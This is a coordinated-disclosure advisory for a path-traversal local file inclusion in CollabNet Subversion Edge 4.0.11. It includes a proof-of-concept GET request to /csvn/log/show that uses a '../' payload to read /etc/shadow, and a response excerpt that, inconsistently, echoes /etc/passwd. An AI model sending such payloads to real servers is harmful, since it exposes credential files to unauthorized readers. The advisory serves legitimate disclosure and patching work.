CollabNet Subversion Edge show local file inclusion

# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management
# Frontend via "fileName" parameter of the show action
#
# Date: 10.10.2014
# Author: otr
# Software Link: https://www.open.collab.net/downloads/svnedge
# Vendor: CollabNet
# Version: 4.0.11
# Tested on: Fedora Linux
# Type: Local file inclusion
#
# Risk: Medium
# Status: public/fixed
# Fixed version: 5.0

Timeline:

2014-10-09 Flaw Discovered
2014-10-20 Vendor contacted
2014-10-21 Vendor response
2014-12-08 Vendor fix proposal
2014-12-08 Extension of embargo to 19.4.2015
2015-05-04 Extension of embargo until release of version 5.0
2015-05-18 Release of version 5.0 and public disclosure

Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated admins to
read arbitrary local files via logfile "fileName" parameter of the show action

Vulnerability:

        Request:
                GET /csvn/log/show?fileName=../../../../../../etc/shadow HTTP/1.1
                Host: example.com:4434

        Response:
                HTTP/1.1 200 OK
                [...]
                <div class="span3">../../../../../.
./etc/passwd</div>
                [...]
                root:x:0:0:root:/root:/bin/bash

Fix proposal:

Remove feature or santizes the fileName parameter so that no path traversals and
arbitrary file inclusions are possible.

Vendor fix:

[...] now allow only showing hooks/logs within the intended directories.